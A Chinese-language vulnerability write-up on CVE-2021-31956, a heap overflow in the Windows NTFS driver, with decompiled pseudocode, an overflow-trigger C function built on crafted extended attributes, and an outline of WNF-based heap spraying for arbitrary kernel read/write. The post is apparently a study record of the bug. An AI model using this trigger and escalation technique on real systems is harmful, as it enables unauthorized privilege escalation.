NTFS驱动存在堆溢出(CVE-2021-31956 )分析

CVE-2021-31956

0x00 漏洞简介

该漏洞发生在 Ntfs.sys文件中,由于该系统程序在处理文件额外信息查询时,对相关对象检查不严谨导致堆溢出,攻击者可以利用该漏洞进行本地权限提升。

0x01 影响版本

windows_10:-:*:*:*:*:*:*:*
windows_10:20h2:*:*:*:*:*:*:*
windows_10:21h1:*:*:*:*:*:*:*
windows_10:1607:*:*:*:*:*:*:*
windows_10:1809:*:*:*:*:*:*:*
windows_10:1909:*:*:*:*:*:*:*
windows_10:2004:*:*:*:*:*:*:*
windows_7:-:sp1:*:*:*:*:*:*
windows_8.1:-:*:*:*:*:*:*:*
windows_rt_8.1:-:*:*:*:*:*:*:*
windows_server_2008:r2:sp1:*:*:*:*:x64:*
windows_server_2008:sp2:*:*:*:*:*:*:*
windows_server_2012:-:*:*:*:*:*:*:*
windows_server_2012:r2:*:*:*:*:*:*:*
windows_server_2016:-:*:*:*:*:*:*:*
windows_server_2016:20h2:*:*:*:*:*:*:*
windows_server_2016:2004:*:*:*:*:*:*:*
windows_server_2019:-:*:*:*:*:*:*:*

0x02 危害等级

7.8 | 高危

0x03 漏洞分析

【环境】

NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第1张图片

【基础1】

扩展文件属性(EA)是文件系统的一个功能。它允许用户将计算机文件与未被文件系统所解释的元数据关联起来。与之相对应的是正规文件属性,其具有经文件系统严格定义的意义(例如文件系统权限或者文件创建以及修改时间等)。与通常能具有最大文件大小的forks不同,扩展文件属性通常被限制为远小于最大文件大小。其典型应用包括存储文档作者、普通文本文件的字符编码或者校验码。

对文件 EA进行读写的 API及其定义如下:

// 设置文件的扩展属性 (EA) 值 
NTSTATUS ZwSetEaFile(
  [in]  HANDLE           FileHandle,			// 要对其执行操作的文件的句柄
  [out] PIO_STATUS_BLOCK IoStatusBlock,			// 该结构接收最终完成状态和有关请求操作的其他信息。 
  [in]  PVOID            Buffer,				// 	指向调用者提供的 FILE_FULL_EA_INFORMATION 输入缓冲区的指针,其中包含要设置的扩展属性值。 
  [in]  ULONG            Length					// 缓冲区大小
);
// 返回有关文件的扩展属性 (EA) 值的信息
NTSTATUS ZwQueryEaFile(
  [in]           HANDLE           FileHandle,				// 要对其执行操作的文件的句柄。 
  [out]          PIO_STATUS_BLOCK IoStatusBlock,			// 接收有关请求操作的最终完成状态和其他信息。 	
  [out]          PVOID            Buffer,				    // 指向调用者提供的指针 FILE_FULL_EA_INFORMATION 输出缓冲区,其中将返回扩展的属性值。  
  [in]           ULONG            Length,					// 缓冲区的长度(以字节为单位)
  [in]           BOOLEAN          ReturnSingleEntry,		// 如果设置为True,则只返回一个找到的条目,False则返回多个
  [in, optional] PVOID            EaList,				    // 指向调用者提供的指针 FILE_GET_EA_INFORMATION 输入,指定要查询的扩展属性。 该参数是可选的,可以是NULL 。
  [in]           ULONG            EaListLength,          	// EaList的大小
  [in, optional] PULONG           EaIndex,					// 应该开始扫描文件的扩展属性列表的条目的索引。该参数可选,可以是NULL
  [in]           BOOLEAN          RestartScan				// 如果为TRUE则表示从EaIndex位置开始检索,如果为FALSE,则用从上一次调用ZwQueryEaFile 返回的值作为当前检索的起点进行检索
);

设置为 TRUE 如果 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile } ZwQueryEaFile应该在第一个开始扫描文件的扩展属性列表中的条目。 如果此参数设置为 FALSE ,则例程从先前的调用恢复扫描 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile } ZwQueryEaFile

上述对文件的 EA进行写入时涉及到一个重要的结构体

typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;								// 下一个 FILE_FULL_EA_INFORMATION 类型条目的偏移量。 如果此成员后面没有其他条目,则此成员为零。 
  UCHAR  Flags;										   // 可以为0也可以用 FILE_NEED_EA 设置,表示如果不了解相关的扩展属性就无法解释 EA 所属的文件。
  UCHAR  EaNameLength;									// EaName 的长度
  USHORT EaValueLength;									// EA 值的字节长度
  CHAR   EaName[1];										// 该条目命名 EA 的字符数组
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

上诉对文件的 EA进行读取时涉及到一个重要的结构体

NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第2张图片

【分析】

漏洞位于 N t f s Q u e r y E a U s e r E a L i s t \textcolor{cornflowerblue}{NtfsQueryEaUserEaList} NtfsQueryEaUserEaList函数中,该函数伪代码如下:

IO_STATUS_BLOCK *__fastcall NtfsQueryEaUserEaList(IO_STATUS_BLOCK *retstr, _FILE_FULL_EA_INFORMATION *CurrentEas, _EA_INFORMATION *EaInformation, _FILE_FULL_EA_INFORMATION *EaBuffer, __int64 UserBufferLength, _FILE_GET_EA_INFORMATION *UserEaList, unsigned int a5, char ReturnSingleEntry)
{
  ...
      
  EaBuffer_1 = EaBuffer;
  EaInformation_1 = EaInformation;
  CurrentEas_1 = CurrentEas;
  v8 = retstr;
  v9 = 0;
  retstr->Pointer = 0i64;
  v25 = 0i64;
  v10 = 0;
  Offset = 0;
  PrevEaPadding = 0;
  retstr->Information = 0i64;
  while ( 1 )
  {
    GetEa = (UserEaList + v10);
    GeaName[0] = 0i64;
    GeaName[1] = 0i64;
    v27 = 0i64;
    v28 = 0i64;
    GeaName[0] = *(&UserEaList->EaNameLength + v10);
    WORD1(GeaName[0]) = GeaName[0];
    GeaName[1] = GetEa + 5;
    RtlUpperString(GeaName, GeaName);
    if ( !NtfsIsEaNameValid(GeaName) )
      break;
    v13 = GetEa->NextEntryOffset;
    v14 = GetEa->EaNameLength;
    v23 = GetEa->NextEntryOffset + v10;
    for ( CurrentEalist = UserEaList; ; CurrentEalist = (CurrentEalist + CurrentEalist->NextEntryOffset) )
    {
      if ( CurrentEalist == GetEa )
      {
        t_offset = Offset;
        NextFullEa = (EaBuffer_1 + PrevEaPadding + Offset);
        if ( NtfsLocateEaByName(CurrentEas_1, EaInformation_1->UnpackedEaSize, GeaName, &FeaOffset) )
        {
          ThisEa = (CurrentEas_1 + FeaOffset);
          RawEaSize = ThisEa->EaValueLength + ThisEa->EaNameLength + 9;
          if ( RawEaSize <= UserBufferLength - PrevEaPadding )// 存在整数溢出
          {
            memmove(NextFullEa, ThisEa, RawEaSize);// 内存溢出
            NextFullEa->NextEntryOffset = 0;
            goto LABEL_8;
          }
        }
        else
        {
          ...
          if ( RawEaSize + PrevEaPadding <= UserBufferLength )
          {
            ...
LABEL_8:
            v19 = RawEaSize + PrevEaPadding + t_offset;
            Offset = v19;
            if ( !a5 )
            {
              if ( v25 )
                v25->NextEntryOffset = NextFullEa - v25;
              if ( GetEa->NextEntryOffset )
              {
                v25 = NextFullEa;
                LODWORD(UserBufferLength) = UserBufferLength - (RawEaSize + PrevEaPadding);
                PrevEaPadding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;
                goto LABEL_26;
              }
            }
LABEL_12:
            v8->Information = v19;
LABEL_13:
            v8->Status = v9;
            return v8;
          }
        }
        v22 = NtfsStatusDebugFlags;
        v8->Information = 0i64;
        if ( v22 )
          NtfsStatusTraceAndDebugInternal(0i64, 0x80000005i64, 919407i64);
        v9 = 0x80000005;
        goto LABEL_13;
      }
      if ( v14 == CurrentEalist->EaNameLength && !memcmp(&GetEa->EaName, &CurrentEalist->EaName, v14) )
        break;
    }
    if ( !v13 )
    {
      v19 = Offset;
      goto LABEL_12;
    }
LABEL_26:
    v10 = v23;
  }
  ...
  return v8;
}

总体是个大循环,不断遍历 FILE_FULL_EA_INFORMATION类型的数组,根据用户给定的 FILE_GET_EA_INFORMATION,找出目标文件的 EA信息。

  • @line:42 UserBufferLength是有符号数,RawEaSizePrevEaPadding是无符号数,进行比较的时候 UserBufferLength会自动视为无符号数。假设 UserBufferLength可以为 0的话,这一处 if检查将会失效,如果 RawEaSize可控的话可能会导致内存溢出。NextFullEa在函数 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa中进行分配

    IO_STATUS_BLOCK CurrentEas;
    ...
    size = *((unsigned int *)CurrentEas.Pointer + 2);
    ...
    if ( (_DWORD)size )
    {
      v17 = (_FILE_FULL_EA_INFORMATION *)NtfsMapUserBuffer(a2, 16i64);
      ...
      if ( a2[4].m128i_i8[0] )
      {
        ...
        KernelBuffer = (_FILE_FULL_EA_INFORMATION *)ExAllocatePoolWithTag((POOL_TYPE)17, (unsigned int)size, 'EFtN');
        *(_QWORD *)&v31[4] = KernelBuffer;
        v29 = 1;
      }
      memset(KernelBuffer, 0, size);
      ...
    }
    ...
    if ( v29 )
       ExFreePoolWithTag(KernelBuffer, 0);
    ...
    

    N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa的应用层接口是 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile} ZwQueryEaFile

  • @line:65 每读取到一个 EA信息之后,UserBufferLength会减去当前读取到的 EA大小,因此 UserBufferLength会递减,总会有小于 PrevEaPadding的那一刻。

  • @line:66 RawEaSize是按 4字节对齐的,如果实际 EA的大小不足 4字节,多出来的那部分就是 PrevEaPadding,只有 0/1/2/34种取值。

【验证】

为了触发溢出漏洞,首先需要创建一个文件,并设置 EA。该文件的 EA应该包含两个值,第一个值对应的键名记为 TRIGGER_EA_NAME,目的是让系统查询完这个值后,UserBufferLength小于 PrevEaPadding,并且 PrevEaPadding大于 0,这样在查询第二个 EA的时候能够使检测溢出的条件判断失效。第二个值对应的键名记为 OVER_EA_NAME,目的是控制 RawEaSize的大小,从而控制溢出的字节数。因此代码如下:

#define TIGGER_EA_NAME "brucy"
#define OVER_EA_NAME "hack"

#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))

#define KERNAL_ALLOC_SIZE 0xF7

#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) 
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))

void Exploit() {
	HANDLE hFile = INVALID_HANDLE_VALUE;
	PFILE_GET_EA_INFORMATION ea_get_info_ref = NULL;
	PFILE_FULL_EA_INFORMATION p_ea_full_info = NULL;
	IO_STATUS_BLOCK iostb;
	NTSTATUS ntst = 1;
	DWORD retSize;
	char revBuf[KERNAL_ALLOC_SIZE] = { 0 };
	const char* data = "AAAAAAAAAAAAAAAA";

	hFile = CreateFileA("payload",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[Error_%d] Exploit(): CreateFileA failed.\n", __LINE__);
		goto clean;
	}
	
	if (!WriteFile(hFile, data, strlen(data), &retSize, NULL)) {
		printf("[Error_%d] Exploit(): Write data for file failed.\n", __LINE__);
		goto clean;
	}

	p_ea_full_info = (PFILE_FULL_EA_INFORMATION)g_Payload;
	//先伪造第一个EA信息
	p_ea_full_info->Flags = 0;
	p_ea_full_info->EaNameLength = TIGGER_EA_NAME_LENGTH;
    p_ea_full_info->EaValueLength = TIGGER_EA_VALUE_LENGTH;
    // 根据结构体官方说明需按4字节对齐
	p_ea_full_info->NextEntryOffset = (p_ea_full_info->EaNameLength + p_ea_full_info->EaValueLength + 9 + 3)& (~3);
	memcpy(p_ea_full_info->EaName , TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
	RtlFillMemory(p_ea_full_info->EaName + p_ea_full_info->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
	
	//伪造第二个EA信息
	p_ea_full_info->Flags = 0;
	p_ea_full_info = (PFILE_FULL_EA_INFORMATION)((char*)p_ea_full_info + p_ea_full_info->NextEntryOffset);
	p_ea_full_info->EaNameLength = OVER_EA_NAME_LENGTH;
	p_ea_full_info->EaValueLength = OVER_EA_VALUE_LENGTH;
	p_ea_full_info->NextEntryOffset = 0;
	memcpy(p_ea_full_info ->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
	RtlFillMemory(p_ea_full_info->EaName + p_ea_full_info->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
	//设置EA
	ntst = ZwSetEaFile(hFile, &iostb, g_Payload, sizeof(g_Payload));
	if (ntst != 0) {
		printf("[Error_%d] Exploit(): call ZwSetEaFile failed.\n", __LINE__);
		goto clean;
	}
	 ea_get_info_ref = (PFILE_GET_EA_INFORMATION)malloc(100);
	memset(ea_get_info_ref, 0, 100);

	memcpy(ea_get_info_ref->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
	ea_get_info_ref->EaNameLength = TIGGER_EA_NAME_LENGTH;
    //与设置EA是的结构体对应,需按4字节对齐
	ea_get_info_ref->NextEntryOffset = (sizeof(FILE_GET_EA_INFORMATION) + TIGGER_EA_NAME_LENGTH)&(~3);
	ea_get_info_ref = (PFILE_GET_EA_INFORMATION)((PCHAR)ea_get_info_ref + 12);
	memcpy(ea_get_info_ref->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
	ea_get_info_ref->EaNameLength = OVER_EA_NAME_LENGTH;
	ea_get_info_ref->NextEntryOffset = 0;

	ea_get_info_ref= (PFILE_GET_EA_INFORMATION)((PCHAR)ea_get_info_ref -12);

	__debugbreak();
   
	ZwQueryEaFile(hFile, &iostb,revBuf, KERNAL_ALLOC_SIZE,false, ea_get_info_ref,100,0,true);

clean:
	if(hFile!=INVALID_HANDLE_VALUE)
		CloseHandle(hFile);
	if(ea_get_info_ref)
		free(ea_get_info_ref);
}

动态调试,观察一下是否成功溢出。这是查询 EA中第一个值前

NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第3张图片

查询 EA中第二个值前

NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第4张图片

执行完内存拷贝后
NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第5张图片

发现与 NextFullEa邻近的下个堆块被溢出破坏了,但是有个比较神奇的现象就是操作系统并不会马上崩溃,还能正常工作。而被覆盖掉的这部分数据,其实是POOL_HEADER结构。

【基础2】

在考虑如何利用之前需要补充一些基础知识,就是关于 Windows10内核堆的结构。

Windows10引入了新的堆管理方式与应用层类似,新增了一个段表 Segment Heap。每个堆块由一个堆头来记录元数据,共 16字节大小。

+0x000 PreviousSize     : Pos 0, 8 Bits
+0x000 PoolIndex        : Pos 8, 8 Bits
+0x002 BlockSize        : Pos 0, 8 Bits
+0x002 PoolType         : Pos 8, 8 Bits
+0x000 Ulong1           : Uint4B
+0x004 PoolTag          : Uint4B
+0x008 ProcessBilled    : Ptr64 _EPROCESS
+0x008 AllocatorBackTraceIndex : Uint2B
+0x00a PoolTagHash      : Uint2B

在该漏洞环境下,NextFullEa所在的堆块属于临时堆,在函数 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa调用结束就会被释放,所以不能使用 S e g m e n t H e a p   A l i g n e d   C h u n k   C o n f u s i o n \textcolor{orange}{SegmentHeap\ Aligned\ Chunk\ Confusion} SegmentHeap Aligned Chunk Confusion的方式利用。

网上公开的 POC利用 _WNF_NAME_INSTANCE_WNF_STATE_DATA实现提权,我在这里作为学习记录一下。

_WNF_STATE_DATA简单理解为一个内核数据存储器,通过函数 N t C r e a t e W n f S t a t e N a m e \textcolor{cornflowerblue}{NtCreateWnfStateName} NtCreateWnfStateName创建一个 _WNF_NAME_INSTANCE的实例 WNF

N t C r e a t e W n f S t a t e N a m e \textcolor{cornflowerblue}{NtCreateWnfStateName} NtCreateWnfStateName定义:

typedef NTSTATUS  (NTAPI * NtCreateWnfStateName)(
	_Out_ PWNF_STATE_NAME StateName,
	_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
	_In_ WNF_DATA_SCOPE DataScope,
	_In_ BOOLEAN PersistData,
	_In_opt_ PCWNF_TYPE_ID TypeId,
	_In_ ULONG MaximumStateSize,
	_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);

该函数会在内核中创建一个 _WNF_NAME_INSTANCE结构:

if ( PsInitialSystemProcess == a4 || (_DWORD)v7 != 3 )
{
    v10 = 0xB8i64;
    if ( !v5 )
        v10 = 0xA8i64;
    v11 = ExAllocatePoolWithTag(PagedPool, v10, ' fnW');
}
else
{
    v28 = 184i64;
    if ( !v5 )
        v28 = 168i64;
    v11 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, v28, ' fnW');
}

_WNF_NAME_INSTANCE的大小为 0xB8

可以通过 N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData向对象写入数据,并以_WNF_STATE_DATA结构存储写入的数据;

N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData定义:

typedef NTSTATUS (NTAPI * NtUpdateWnfStateData)(
	_In_ PWNF_STATE_NAME StateName,
	_In_reads_bytes_opt_(Length) const VOID * Buffer,
	_In_opt_ ULONG Length,
	_In_opt_ PCWNF_TYPE_ID TypeId,
	_In_opt_ const PVOID ExplicitScope,
	_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
	_In_ ULONG CheckStamp);

函数 N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData会将数据写到 _WNF_NAME_INSTANCE结构中的_WNF_STATE_DATA域:

...
v12 = Wnf_Name_Instance->StateData;
if ( !v12 && (Wnf_Name_Instance->PermanentDataStore || (_DWORD)length_1)
    || (State_data = v12) != 0i64 && v12->AllocatedSize < (unsigned int)length_1 )
{
    ...
    v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(length_1 + 16), 0x20666E57u);
    Alloc_Heap = v21;
    ...
}
...
if ( Wnf_Name_Instance->StateData != (_WNF_STATE_DATA *)1 )
  State_data = Wnf_Name_Instance->StateData;
if ( !State_data || State_data->AllocatedSize < (unsigned int)length_1 )
  State_data = Alloc_Heap;
...
memmove(&State_data[1], buffer, length_1);
State_data->DataSize = length_1;
State_data->ChangeStamp = i;
...
  • @line:4如果用户传进来的 S t a t e N a m e − > S t a t e D a t a − > A l l o c a t e d S i z e \textcolor{orange}{StateName->StateData->AllocatedSize} StateName>StateData>AllocatedSize小于用户指定写入数据的大小 length,则会将数据写入新创建的一个堆中,否则直接将数据写入到用户传进来的 S t a t e N a m e − > S t a t e D a t a \textcolor{orange}{StateName->StateData} StateName>StateData。因此这里在后续利用的时候需要注意!

  • 还有一处地方需要注意,这处地方也是我后知后觉的

    __int64 __fastcall ExpWnfValidatePubSubPreconditions(ACCESS_MASK DesiredAccess, _WNF_STATE_NAME_REGISTRATION *StateInfo, unsigned int a3, _QWORD *a4, int a5)
    {
    ...
          v8 = v7->MaxStateSize < length ? 0xC000000D : 0;
      }
      return (unsigned int)v8;
    }
    
    • @line:4这里需要保证写入的 Data数据大小小于等于 S t a t e I n f o − > M a x S t a t e S i z e \textcolor{orange}{StateInfo->MaxStateSize} StateInfo>MaxStateSize,否则也是没法更新 StateData的。在本次漏洞利用中,不超过 0x1000即可。

可以通过 N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData读取数据, N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData定义如下:

typedef NTSTATUS (NTAPI * NtQueryWnfStateData)(
	_In_ PWNF_STATE_NAME StateName,
	_In_opt_ PWNF_TYPE_ID TypeId,
	_In_opt_ const VOID * ExplicitScope,
	_Out_ PWNF_CHANGE_STAMP ChangeStamp,
	_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
	_Inout_ PULONG BufferSize);

查询 StateData的核心代码:

StateData = StateName->StateData;
 ...
*a2 = StateData->ChangeStamp;
*a5 = StateData->DataSize;
DataSize = StateData->DataSize;
if ( BufferSize < DataSize )
{
    v14 = 0xC0000023;
}
else
{
    memmove(Buffer, &StateData[1], DataSize);
    v14 = 0;
}
...
return v14

如果用户传递的 BufferSize小于 S t a t e D a t a − > D a t a S i z e \textcolor{orange}{StateData->DataSize} StateData>DataSize,则返回失败,否则从 S t a t e D a t a [ 1 ] \textcolor{orange}{StateData[1]} StateData[1]开始,读取 DataSize个字节数据到用户提供的缓冲区 Buffer中。

可以使用 N t D e l e t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtDeleteWnfStateData} NtDeleteWnfStateData释放 WNF对象。

相关结构体定义如下:

0: kd> dt nt!_WNF_NAME_INSTANCE
+0x000 Header           : _WNF_NODE_HEADER
+0x008 RunRef           : _EX_RUNDOWN_REF
+0x010 TreeLinks        : _RTL_BALANCED_NODE
+0x028 StateName        : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance    : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock    : _WNF_LOCK
+0x058 StateData        : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess   : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
-----------------------------------------------------------
0: kd> dt nt!_WNF_STATE_DATA
+0x000 Header           : _WNF_NODE_HEADER
+0x004 AllocatedSize    : Uint4B
+0x008 DataSize         : Uint4B
+0x00c ChangeStamp      : Uint4B

【利用】

  1. 首先需要进行堆喷,构造出如下的堆布局
    NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第6张图片

  2. 利用 Ntfs的堆溢出,覆盖修改相邻的 STATE_DATA块的 AllocateSizeDataSize成员,使其能够通过 N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData读取和修改到相邻的 WNF_NAME_INSTANCE块数据。此时的修改和读取只是相对于内存进行,还没有实现任意内存的读写。

  3. 利用相对内存写修改邻近的 WNF_NAME_INSTANCE结构的 StateData指针为任意内存地址,就能够实现任意内存读写了。

需要特别注意的就是 _WNF_STATE_DATA只能进行有限的地址读写。这里的有限意思是说,如果要读写的目标地址中,没有合适的数据可以构造 AllocateSizeDataSize,就不能对该地址进行读写,所以利用的时候需要按实际情况进行调整。

0x04 EXP

由于代码有些多,所以上传到资源里了,也想赚点资源积分。等到审核通过后再补贴上下载链接。

0x05演示

NTFS驱动存在堆溢出(CVE-2021-31956 )分析_第7张图片

0x06 参考

[1] https://bbs.pediy.com/thread-271140.htm#msg_header_h2_2

[2] https://baike.baidu.com/item/%E6%89%A9%E5%B1%95%E6%96%87%E4%BB%B6%E5%B1%9E%E6%80%A7/22784967

[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_full_ea_information

[4] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/79dc1ea1-158c-4b24-b0e1-8c16c7e2af6b

[5] https://zhuanlan.zhihu.com/p/450746447

[6] https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/

你可能感兴趣的:(提权,漏洞复现与分析,安全)